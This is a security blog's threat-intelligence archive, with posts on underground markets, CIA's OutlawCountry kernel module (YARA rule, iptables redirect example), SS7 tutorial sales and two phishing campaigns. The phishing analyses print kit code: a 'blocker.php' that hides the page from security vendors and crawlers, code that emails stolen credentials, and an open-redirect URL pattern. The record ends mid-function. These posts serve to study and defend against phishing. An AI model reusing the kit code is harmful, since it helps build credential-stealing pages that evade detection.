xorl %eax, %eax

Archive for the ‘threat intelligence’ Category

Threat Analysis: Marketplaces for verified social media accounts

leave a comment »

Cyber-crime is a massive ecosystem and social media plays a key role in it. One way to stop them would be to disrupt their supply chain and this is what this post is about. Most cyber-crime groups utilize verified social media accounts to operate below the radar while executing their illegal activities. Namely, here are a few common reasons why cyber-criminals buy and use verified social media accounts.

  • Anonymously set up marketplaces on social media platforms like Facebook
  • Implement so-called “blackhat SEO” and sell services (advertisements, likes, reviews, comments, etc.)
  • Distribute or promote fake news
  • Avoid bot detection for common automated operations (spam, C2, phising, etc.)
  • Anonymously use the services offered by that social media platform

There was an excellent slide at HITB GSEC 2017 in the “Facebook – The Deep & Dark Web for Threat Actors in Asia*” presentation by Fadli B. Sidek explaining really nicely the benefits of the use of those Facebook verified accounts by cyber-criminals. Here is that slide.

The above are quite clear indicators that this area of cyber-crime will keep on growing. Some will be developing verified social media accounts and others will be buying them for uses like the ones described.

This underground market has been expanding so rapidly that many threat actors are developing and selling malicious tooling known as “Turboer”. This type of software is designed to exploit popular social media platforms in order to claim high-value account names, and assign them to a verified account. Typically, cyber-criminals subsequently sell those verified accounts for much higher prices.

The reason I made this post was my initial comment, if we would like to disrupt the supply chain of cyber-criminals this is an area we need to target. As more and more cyber-criminals utilize those verified social media accounts for malicious purposes, the demand increases, and the ecosystem keeps on growing.

Written by xorl

December 19, 2017 at 20:54

Understanding CIA’s OutlawCountry

leave a comment »

On 30 June 2017 WikiLeaks leaked the manual of OutlawCountry. This is a malicious Linux Kernel Module (LKM) which exists at least since June 2015. Let’s see what it does…

The OutlawCountry is a LKM for Linux kernel 2.6.32 (64-bit CentOS/Red Hat 6.x) which is used to create a hidden NetFilter table (according to the manual the hidden table has hardcoded name “dpxvke8h18”) which later the operator of the malicious LKM can use to issue NAT rules. Below you can see how CIA’s EDG (Engineering Development Group) intended to use this tool.

The concept is that the operator will secretly install OutlawCountry in TARG_1 and then use it to re-route the traffic between WEST_2 and EAST_3, EAST_4, and EAST_5. Basically, this can be done to either covertly eavesdrop on traffic transmitted or redirect specific traffic to a CIA controlled system. Below you see an example from its manual where all traffic from IP address to IP address on port 33/tcp is redirected to IP address on port 55/tcp.

 iptables -t dpxvke8h18 -A PREROUTING \
        -p tcp -s -d --dport 33 \
        -j DNAT --to-destination

The installation and removal of the module is done via standard Linux module management commands (insmod, rmmod) except “modprobe” which doesn’t work as the module is not in “modules.dep” file. To check whether you are infected from this specific version of OutlawCountry it is as simple as checking for the existence of this table name with a command like the following.

iptables -t dpxvke8h18 -L -nv

Also, just like normal NAT iptables, it requires IP forwarding to be set (so /proc/sys/net/ipv4/ip_forward must be set to 1) and if iptables service is restarted, the OutlawCountry goes into “dormant” state in which it will be loaded but the hidden table will no longer be present. To re-enable it, the operator has to remove and install the kernel module again. Unfortunately, WikiLeaks did not release the source code of the tool. So, based purely on the documentation provided you can use the following simple “CIA_OutlawCountry.yar” YARA rule I wrote to search for it on your Linux systems.

import "hash"

rule OutlawCountry
        author = "Anastasios Pingios (xorl)"
        description = "CIA OutlawCountry v1.0 LKM signature"
        filename = "nf_table_6_64.ko"
		filename = "nf_table.ko"
        reference = "https://wikileaks.org/vault7/document/OutlawCountry_v1_0_User_Manual/OutlawCountry_v1_0_User_Manual.pdf"
        date = "02-12-2017"

        $s1 = "dpxvke8h18" ascii

        $s1 or
        filesize < 10KB and
        hash.md5(0, filesize) == "2cb8954a3e683477aa5a084964d4665d"  

Written by xorl

December 2, 2017 at 18:45

Deeper look in an Adobe Acrobat phising website

leave a comment »

It all started with a Tweet by Yves Agostini on 26 November 2017. It was the discovery of an exposed (probably under construction) phising website. Just like what I did in “Deeper look in an AppleID Phising Campaign”, I will do a basic investigation on this to see what we can learn to be better prepared for similar future campaigns. You can see the phising website’s landing page below.

The phising website is hosted in mbiomedik[.]undip[.]ac[.]id ( which is the Magister Biomedik Universitas Diponegoro (Master of Biomedical University of Diponegoro) in Indonesia. The website is running an outdated version of Joomla which was probably what the threat actor used to compromise this website. Under the “jkl” directory the threat actor uploaded and extracted acrobat.zip archive (MD5: 2f248c06a1d93b2b31409e8644866c40 SHA-1: a75b167ab3323ddb97ff12b9bb6ad425a36beaf7).

Based on the timestamp we can assume that the initial upload was on 7 November 2017. The archive has exactly the same structure as the phising website which implies that the threat actor simply extracted the files and started using it with no further modifications. You can see the directory structure of the archive below.

        │   └───FILES

The files in the archive have dates ranging from 16 January 2014 until 30 October 2017. The oldest file was “robots.txt” and the most recent was “send.php”. This is interesting as this is the file that included the email address where the stolen credentials are being sent.


define("EMAIL", "rainingbow19@gmail.com");

It is worth noting that most files were modified in 2016 so probably it was an old phising toolkit that was updated. Another unique feature is the “blocker.php” file which runs on the index page and runs a series of checks to avoid detection. The filtering is based on client’s hostname, IP range, and user-agent string. You can see the complete “blocker.php” code below.


$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "paypal");
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
    header("HTTP/1.0 404 Not Found");
        die("<h1>404 Not Found</h1>The page that you have requested could not be found.");

$bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "", "^198.25.*.*", "^64.106.213.*");
if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
     header('HTTP/1.0 404 Not Found');
} else {
     foreach($bannedIP as $ip) {
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
               header('HTTP/1.0 404 Not Found');
               die("<h1>404 Not Found</h1>The page that you have requested could not be found.");

if(strpos($_SERVER['HTTP_USER_AGENT'], 'google') or strpos($_SERVER['HTTP_USER_AGENT'], 'msnbot') or strpos($_SERVER['HTTP_USER_AGENT'], 'Yahoo! Slurp') or strpos($_SERVER['HTTP_USER_AGENT'], 'YahooSeeker') or strpos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') or strpos($_SERVER['HTTP_USER_AGENT'], 'bingbot') or strpos($_SERVER['HTTP_USER_AGENT'], 'crawler') or strpos($_SERVER['HTTP_USER_AGENT'], 'PycURL') or strpos($_SERVER['HTTP_USER_AGENT'], 'facebookexternalhit') !== false) { header('HTTP/1.0 404 Not Found'); exit; }


When you visit the phising page you will notice that the URL includes “cmd-login” parameter followed by a hash. This is generated in “index.php” page as shown below. So, technically it is just a unique identifier.

$random=md5(date("Y-m-d H:i:s"));

The “cmd-login=” seems like a quite unique identifier in this phising toolkit. But it is not the only one, below you can see a code snippet of the code that sends the email with the stolen credentials to the threat actor. The exact same file was also uploaded on Reverse It on 2 October 2017 from dcrq[.]ga/1/365[.]zip which was a phising page for Office 365.

$message = build_message($_REQUEST);


$message = $message . "IP of sender: " . $ip ." ," . $country ." ," . $countrycode ." ," . $region ." ," . $city;

$message = $message . PHP_EOL.PHP_EOL."------Th@ w@s yOur LOG : SeNt tO [$my_email]------".PHP_EOL."";

$message = stripslashes($message);

$subject = "1 NEW LOG (($page ) : ($country))";

$subject = stripslashes($subject);
header("Location: delete_file.htm?rand=13InboxLightaspxn.1774256418&fid.4.1252899642&fid=1&fav.1&rand.13InboxLight.aspxn");

It is worth noting that dcrq[.]ga/1/365[.]zip is from a shared hosting server based in Indonesia which has been used repeatedly for malware delivery and phising websites hosting. Below you can see the Office 365 phising page from this website.

The PHP also includes a GoogleDrive document which no longer exists.

$continue = "https://docs.google.com/a/e-mail.ua/file/d/0B3xRhEC_fLTHNzktb2NfR21oa2s/edit";

A search for this document on Google reveals only one result. A Finnish forum for IT discussions that has a discussion from November 2013 titled “tunnusten kalastelua?” (Translation: phishing scams?). There user “ossij” explains that when someone enters credentials in www[.]postecsa[.]com/finishfish.htm phising page, there was a redirection to this document. Based on the date, this is probably one of the very first cases of this phising toolkit being used in the wild.

The toolkit contains various different plugins, extensions, and old code from open source software (jQuery 1.2.1, CSS Browser Selector 0.5.3, etc.). The result of this is modern anti-detecion code (such as the “blocker.php” example shown earlier) along with direct content access like what you see below.

<html hola_ext_inject="disabled" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252">

<script type="text/javascript">
function delayer(){
    window.location = "https://adobe.com"
<meta charset="utf-8">
<title>PDF ONLINE</title>
<link rel="shortcut icon" type="image/x-icon" href="https://wwwimages2.adobe.com/include/img/favicon.ico">
<style type="text/css">

On the other hand, the phising langing page itself not only it does not reference remote links from the target company, but it has all of the content hardcoded in the HTML page as Base64 encoded images. Below is a sample of the landing page’s content.

<div style="clear:both;"></div>
						<h2 style="color:#696767; font-family:verdana, arial; text-shadow: 0px 1px 1px #4d4d4d;">
QlsUA0BvoA0AaANAYNKcezQCbcP0rafE7f2aAbcsYlvPMIr5gP7dAEQYlu9Qj6wP7dAOS3/pe0eGp5uzQCkKU4aAzoA0AaANAGgDQBoA0AaANAf/2Q==" width="83"></h2><span style="position:relative; bottom:20px; color:#6c5a79; ">Sign in with your receiving email account to view document</span>							

The last HTML comment is another is a relatively unique artifact that we can use for a search. If we do that we will quickly notice that the exact same code (including the above comment) has been used in more phising attacks, some of them include PDF documents with links to phising websites. Below is a list of the different results I had from searching using the above comment.

The above screenshot is one of the PDF lure documents from the previously mentioned attacks. So, without diving more into details, here are some interesting lessons from this brief investigation of this particular Adobe-themed phising attack.

  • Threat actor “OLDLEGEND 360” has almost certainly being developing, improving and selling this phising toolkit at least since 2013.
  • Those phising attacks are delivered mostly via lure PDF documents.
  • The phising websites are a combination of hosted services and compromised legitimate websites.
  • The phising toolkit has a lot of legacy code but also various modern anti-detection techniques.
  • The phising toolkit will respond with a 404 when the request comes from known security companies, search engines, popular VPS & cloud providers, or the victim company.
  • The static content is hardcoded in the landing phising page as Base64 encoded strings.
  • The goal of the threat actor is to collect valid credentials for Adobe and Microsoft.
  • The collected credentials are being sent to the cyber-criminal via email which has to be configured in “send.php” file of the phising toolkit.

Written by xorl

November 30, 2017 at 00:37

Cyber-criminals and SS7 attacks

leave a comment »

Last week the news were flooded with some SS7 attack demonstration in Canada, an example of this was the “Hackers only needed a phone number to track this MP’s cellphone” by CBC News. The SS7 attacks have been known for years but the this news article reminded me of something I came across in a recent investigation. It started with the following PasteBin post.

This SS7 offer by threat actor “elitehackingservice” (email address: “elitehackingservice@gmail.com”) first appeared in late October 2017 and it is still active in various underground websites. The offer is $400 for four PDF documents that will guide an attacker on how to exploit SS7 to track and intercept cell phones. You can see the complete advertisement below.

I have released the official SS7 Network Exploits PDF.
This guide will instruct you how to hack into the SS7 network 
and how to track cell phones to their locations and how you can
intercept them from their carriers location.
There are 4 PDF files.
1. What is SS7, how it works and current vulnerabilities
2. Entry points to the SS7 Network Protocol
3. How to hack the SS7 Network Protocol step by step instructions.
4. How to locate and intercept specific cell numbers step by step instructions.
The price is $400.
Link to buy and download is: https://satoshibox.com/x65q8owqgnxbr3n8e3s7zfdz

Contact me on: elitehackingservices@gmail.com

Threat actor decided to use SatoshiBox to sell this tutorial, a website widely used by some cyber-criminals. Based on the description and the actual filenames from SatoshiBox we can deduce that here is exactly what buyers get from this offer.

  • Attacking-SS7-instructions.pdf (1.40MB): How to hack the SS7 Network Protocol step by step instructions
  • What-is-ss7.pdf (6.39MB): Entry points to the SS7 Network Protocol
  • celllocationandtracking.pdf (1.46MB): How to locate and intercept specific cell numbers step by step instructions
  • signalssystemvulnerabilitiesaugust2017.pdf (488.78KB): What is SS7, how it works and current vulnerabilities

It is worth noting that the Bitcoin address of this threat actor’s offer (3D8NZzzEkWtMiHwHyy4xw61FKmN23LvW54) doesn’t have any recorded transactions until the time of this writing. But we don’t know whether this collection was also being sold elsewhere. An interesting tactic employed by this threat actor to advertise this offer is commenting on popular video sharing websites relating to hacking software such as mobile phones keyloggers and RATs (Remote Access Trojans) tutorials or advertisments. You can see two examples of those below. Note that in those cases threat actor “elitehackingservices” used the handle “Mr HappyCoder” instead.

It is crucial to note that I have no indicators on the reliability or credibility of this threat actor. However, it might be something that you potentially want to investigate further if you are including SS7 attacks as part of your organization’s threat landscape.

Written by xorl

November 28, 2017 at 22:28

IOC Lifecycle & Enrichment

leave a comment »

One issue with cyber-security today is the outdated IOCs (Indicators of Compromise). For example, an IP address used to host a Command & Control server today, could host a legitimate service tomorrow. This means that there needs to be some sort of “IOC lifecycle”. Below is the lifecycle I usually propose for this.

The above works for the majority of the cases, but not for everything. Here is brief explanation of how this lifecycle of an IOC is split among those four different stages.

  1. Malicious activity: The first stage is that some sort of malicious activity is identified. This could be anything from a new malware campaign, a spear-phising attack, etc.
  2. IOC generation: This is the generation of unique artifacts/identifiers of this specific attack such as malware sample hashes, email addresses, IP addresses, domain names, etc.
  3. IOC use: The generated IOC is now integrated with the security solutions of the organization and is actively used to detect if this indicator is present.
  4. Archiving: After a defined expiration threshold the IOC is archived so that it is still searchable for investigations, but it has very low scoring compared to new IOCs when it comes to detection.

The above works for common workflows but when we introduce a Cyber-Threat Intelligence (CTI) capability then context is equally important as content. Meaning that seeing that 2 years ago IP address was “bad” is not as important as seeing that IP address was hosting a ZeuS Command & Control server and it is associated with an internal incident response case number. For this reason, the extended version of my initially proposed IOC lifecycle to include CTI capability is the one you see below.

The only difference is that before the archiving stage, there is an enrichment stage. This stage ensures that the IOC includes as much context as possible in order to provide value to subsequent investigations.

Written by xorl

November 28, 2017 at 21:47

Threat Analysis: Phone Verification Bypassing

leave a comment »

Here I will guide you through a common cyber-crime technique, bypassing phone verification services. As an additional security and verification control, many companies (like for example Google) require you to do some sort of phone verification in order to activate an account. No cyber-criminal would ever want to do that though as the newly created account is likely to be used for malicious activity.

As you can see from the above, the common practice in cyber-crime circles is the use of online SMS services, usually referred to as “virtual phones”. During my investigations I have identified a few different use cases of cyber-criminals using those services which are briefly listed below.

  • Verification of new accounts (for phising, fraud, etc.)
  • SMS verification for fraudulent payment transactions
  • Verification during fraudulent issuing of official documents

This is not very easy to track from a blue team perspective. However, not impossible. If you are suffering from fraudulent activities while enforcing some sort of phone verification, then this might be the reason. This means you should probably start investing in detection of software based phones as well as phones used by common providers of “virtual phones”.

Written by xorl

November 27, 2017 at 20:52

Deeper look in an AppleID Phising Campaign

with 2 comments

On Friday (24 November 2017) I mentioned some details of an AppleID phising campaign on Twitter. The campaign was using PHPMailer to send the phising emails via SendGrid.

The email is a typical phising email using the urgency social engineering technique to trick the victim into clicking on the link. It was interesting though that it passed Google’s anti-spam detection. A closer look shows that its SPF and DKIM were passing the check. This was because it was actually being sent via SendGrid.

By inspecting the raw email we can also observe another interesting characteristic in the X-Mail header. The email was sent using PHPMailer (version 5.2.16). This could indicate a potentially compromised web server being used to send those emails through SendGrid

From: "AppleID Allert !!!" 
Subject: You receipt from apple
X-Mailer: PHPMailer 5.2.16 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/html; charset=iso-8859-1

The “Resolution Center” button leads to the following SendGrid link.


By inspecting this via URLScan we can see that it results to a dual redirection. First to SendGrid, and secondly to www[.]ydba[.]astra[.]co[.]id and the final destination is appleid[.]termscondition[.]com.

From the above we discovered that www[.]ydba[.]astra[.]co[.]id suffers from an open redirect vulnerability. Specifically, it is exploited as you see below.

http://www[.]ydba[.]astra[.]co[.]id/lang.php?_in&ref=https://[target website]

Before we dive more into the phising website, let’s go back to the raw email and go through the “Received” headers. If we go down to the very first one, we will see that it points to Firari-Bilisim (vserver[.]climbhost[.]com []). You can see the snippet from the raw email below.

Received: from Firari-Bilisim (vserver.climbhost.com []) by ismtpd0001p1lon1.sendgrid.net (SG) with ESMTP id EmObfKkaTlS_z0z8xLe7gw for ; Fri, 24 Nov 2017 09:47:02.953 +0000 (UTC)

The name “Firari-Bilisim” is actually Turkish for “Fugitive-Informatics”. According to Censys and RiskIQ, we know the following information about the sender of this phising email.

IPv4 address   :
Hostname       : vserver.climbhost.com
First seen     : 21 June 2017
HTTP server    : Apache httpd 2.2.15 (80/tcp)
SSH server     : OpenSSH 5.3 (22/tcp)
SSH fingerprint: 2f74c0e4e08b9b2c738023dcfb0e72994f97acda4d4a1d8703771580e4bbb1b8

Although the registration of this AS number belongs to OVH France, this small range is part of a Turkish hosting provider called ClimbHost. We were unable to find any archive of any historical legitimate service running on this specific IP address which could mean that the cyber-criminals rent this VPS to deliver those phising campaigns. After this small investigation on the server that sent this specific email, let’s move to the phising website.

What you see above is a screen capture of appleid[.]termscondition[.]com ( phising website. The content of the page uses a combination of a locally hosted jQuery (version 1.9.1) along with some encoded JavaScript content to evade detection. Below you can see the JavaScript snippet of the jQuery code.

<script type='text/javascript' src="assets/js/jquery-1.9.1.js"></script>
<script type='text/javascript' src="assets/js/jquery.validate.min.js"></script>
<script type='text/javascript' src="assets/js/jquery.payment.js"></script>
<script type='text/javascript' src="assets/js/additional-methods.min.js"></script>
<script type='text/javascript' src="assets/js/jquery.maskedinput.js"></script>
<script type='text/javascript' src="assets/js/Valid.AU.js"></script>
    jQuery(function($) {
      $.fn.toggleInputError = function(galat) {
        this.parent('.form-group').toggleClass('has-error', galat);
        return this;

<script type='text/javascript'>
   $("#ccexp").mask("99 / 99",{placeholder:"MM / YY"});

However, one of the most interesting and unique files is the “enc.js” (MD5: 2BE4850ED7C03DAE9DC1999DFD04DFAF, SHA256: 6369118B817A8A0549092CCE8B77D77AC7EC88CC76A66D3ED9E32E9C4F6FB23F). This exact same file has been observed in other phising campaigns with similar methodologies. Let’s have a look at this interesting JavaScript file. Below is the de-obfuscated file which contains some Base64 encoding and decoding functions as well as an implementation of AES encryption algorithm for encryption and decryption.

var Aes = {};
Aes.cipher = function(input, w) {
    var Nb = 4;
    var Nr = w.length / Nb - 1;
    var state = [
    for (var i = 0; i < 4 * Nb; i++) state[i % 4][Math.floor(i / 4)] = input[i];
    state = Aes.addRoundKey(state, w, 0, Nb);
    for (var round = 1; round < Nr; round++) {
        state = Aes.subBytes(state, Nb);
        state = Aes.shiftRows(state, Nb);
        state = Aes.mixColumns(state, Nb);
        state = Aes.addRoundKey(state, w, round, Nb);
    state = Aes.subBytes(state, Nb);
    state = Aes.shiftRows(state, Nb);
    state = Aes.addRoundKey(state, w, Nr, Nb);
    var output = new Array(4 * Nb);
    for (var i = 0; i < 4 * Nb; i++) output[i] = state[i % 4][Math.floor(i / 4)];
    return output;
Aes.keyExpansion = function(key) {
    var Nb = 4;
    var Nk = key.length / 4
    var Nr = Nk + 6;
    var w = new Array(Nb * (Nr + 1));
    var temp = new Array(4);
    for (var i = 0; i < Nk; i++) {
        var r = [key[4 * i], key[4 * i + 1], key[4 * i + 2], key[4 * i + 3]];
        w[i] = r;
    for (var i = Nk; i < (Nb * (Nr + 1)); i++) {
        w[i] = new Array(4);
        for (var t = 0; t < 4; t++) temp[t] = w[i - 1][t];
        if (i % Nk == 0) {
            temp = Aes.subWord(Aes.rotWord(temp));
            for (var t = 0; t < 4; t++) temp[t] ^= Aes.rCon[i / Nk][t];
        } else if (Nk > 6 && i % Nk == 4) {
            temp = Aes.subWord(temp);
        for (var t = 0; t < 4; t++) w[i][t] = w[i - Nk][t] ^ temp[t];
    return w;
Aes.subBytes = function(s, Nb) {
    for (var r = 0; r < 4; r++) {
        for (var c = 0; c < Nb; c++) s[r][c] = Aes.sBox[s[r][c]];
    return s;
Aes.shiftRows = function(s, Nb) {
    var t = new Array(4);
    for (var r = 1; r < 4; r++) {
        for (var c = 0; c < 4; c++) t[c] = s[r][(c + r) % Nb];
        for (var c = 0; c < 4; c++) s[r][c] = t[c];
    return s;
Aes.mixColumns = function(s, Nb) {
    for (var c = 0; c < 4; c++) {
        var a = new Array(4);
        var b = new Array(4);
        for (var i = 0; i < 4; i++) {
            a[i] = s[i][c];
            b[i] = s[i][c] & 0x80 ? s[i][c] << 1 ^ 0x011b : s[i][c] << 1;
        s[0][c] = b[0] ^ a[1] ^ b[1] ^ a[2] ^ a[3];
        s[1][c] = a[0] ^ b[1] ^ a[2] ^ b[2] ^ a[3];
        s[2][c] = a[0] ^ a[1] ^ b[2] ^ a[3] ^ b[3];
        s[3][c] = a[0] ^ b[0] ^ a[1] ^ a[2] ^ b[3];
    return s;
Aes.addRoundKey = function(state, w, rnd, Nb) {
    for (var r = 0; r < 4; r++) {
        for (var c = 0; c < Nb; c++) state[r][c] ^= w[rnd * 4 + c][r];
    return state;
Aes.subWord = function(w) {
    for (var i = 0; i < 4; i++) w[i] = Aes.sBox[w[i]];
    return w;
Aes.rotWord = function(w) {
    var tmp = w[0];
    for (var i = 0; i < 3; i++) w[i] = w[i + 1];
    w[3] = tmp;
    return w;
Aes.sBox = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16];
Aes.rCon = [
    [0x00, 0x00, 0x00, 0x00],
    [0x01, 0x00, 0x00, 0x00],
    [0x02, 0x00, 0x00, 0x00],
    [0x04, 0x00, 0x00, 0x00],
    [0x08, 0x00, 0x00, 0x00],
    [0x10, 0x00, 0x00, 0x00],
    [0x20, 0x00, 0x00, 0x00],
    [0x40, 0x00, 0x00, 0x00],
    [0x80, 0x00, 0x00, 0x00],
    [0x1b, 0x00, 0x00, 0x00],
    [0x36, 0x00, 0x00, 0x00]
Aes.Ctr = {};
Aes.Ctr.encrypt = function(plaintext, password, nBits) {
    var blockSize = 16;
    if (!(nBits == 128 || nBits == 192 || nBits == 256)) return '';
    plaintext = Utf8.encode(plaintext);
    password = Utf8.encode(password);
    var nBytes = nBits / 8;
    var pwBytes = new Array(nBytes);
    for (var i = 0; i < nBytes; i++) {
        pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i);
    var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes));
    key = key.concat(key.slice(0, nBytes - 16));
    var counterBlock = new Array(blockSize);
    var nonce = (new Date()).getTime();
    var nonceMs = nonce % 1000;
    var nonceSec = Math.floor(nonce / 1000);
    var nonceRnd = Math.floor(Math.random() * 0xffff);
    for (var i = 0; i < 2; i++) counterBlock[i] = (nonceMs >>> i * 8) & 0xff;
    for (var i = 0; i < 2; i++) counterBlock[i + 2] = (nonceRnd >>> i * 8) & 0xff;
    for (var i = 0; i < 4; i++) counterBlock[i + 4] = (nonceSec >>> i * 8) & 0xff;
    var ctrTxt = '';
    for (var i = 0; i < 8; i++) ctrTxt += String.fromCharCode(counterBlock[i]);
    var keySchedule = Aes.keyExpansion(key);
    var blockCount = Math.ceil(plaintext.length / blockSize);
    var ciphertxt = new Array(blockCount);
    for (var b = 0; b < blockCount; b++) {
        for (var c = 0; c < 4; c++) counterBlock[15 - c] = (b >>> c * 8) & 0xff;
        for (var c = 0; c < 4; c++) counterBlock[15 - c - 4] = (b / 0x100000000 >>> c * 8)
        var cipherCntr = Aes.cipher(counterBlock, keySchedule);
        var blockLength = b < blockCount - 1 ? blockSize : (plaintext.length - 1) % blockSize + 1;
        var cipherChar = new Array(blockLength);
        for (var i = 0; i < blockLength; i++) {
            cipherChar[i] = cipherCntr[i] ^ plaintext.charCodeAt(b * blockSize + i);
            cipherChar[i] = String.fromCharCode(cipherChar[i]);
        ciphertxt[b] = cipherChar.join('');
    var ciphertext = ctrTxt + ciphertxt.join('');
    ciphertext = Base64.encode(ciphertext);
    return ciphertext;
Aes.Ctr.decrypt = function(ciphertext, password, nBits) {
    var blockSize = 16;
    if (!(nBits == 128 || nBits == 192 || nBits == 256)) return '';
    ciphertext = Base64.decode(ciphertext);
    password = Utf8.encode(password);
    var nBytes = nBits / 8;
    var pwBytes = new Array(nBytes);
    for (var i = 0; i < nBytes; i++) {
        pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i);
    var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes));
    key = key.concat(key.slice(0, nBytes - 16));
    var counterBlock = new Array(8);
    ctrTxt = ciphertext.slice(0, 8);
    for (var i = 0; i < 8; i++) counterBlock[i] = ctrTxt.charCodeAt(i);
    var keySchedule = Aes.keyExpansion(key);
    var nBlocks = Math.ceil((ciphertext.length - 8) / blockSize);
    var ct = new Array(nBlocks);
    for (var b = 0; b < nBlocks; b++) ct[b] = ciphertext.slice(8 + b * blockSize, 8 + b * blockSize + blockSize);
    ciphertext = ct;
    var plaintxt = new Array(ciphertext.length);
    for (var b = 0; b < nBlocks; b++) {
        for (var c = 0; c < 4; c++) counterBlock[15 - c] = ((b) >>> c * 8) & 0xff;
        for (var c = 0; c < 4; c++) counterBlock[15 - c - 4] = (((b + 1) / 0x100000000 - 1) >>> c * 8) & 0xff;
        var cipherCntr = Aes.cipher(counterBlock, keySchedule);
        var plaintxtByte = new Array(ciphertext[b].length);
        for (var i = 0; i < ciphertext[b].length; i++) {
            plaintxtByte[i] = cipherCntr[i] ^ ciphertext[b].charCodeAt(i);
            plaintxtByte[i] = String.fromCharCode(plaintxtByte[i]);
        plaintxt[b] = plaintxtByte.join('');
    var plaintext = plaintxt.join('');
    plaintext = Utf8.decode(plaintext);
    return plaintext;
var Base64 = {};
Base64.code = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
Base64.encode = function(str, utf8encode) {
    utf8encode = (typeof utf8encode == 'undefined') ? false : utf8encode;
    var o1, o2, o3, bits, h1, h2, h3, h4, e = [],
        pad = '',
        c, plain, coded;
    var b64 = Base64.code;
    plain = utf8encode ? str.encodeUTF8() : str;
    c = plain.length % 3;
    if (c > 0) {
        while (c++ < 3) {
            pad += '=';
            plain += '\0';
    for (c = 0; c < plain.length; c += 3) {
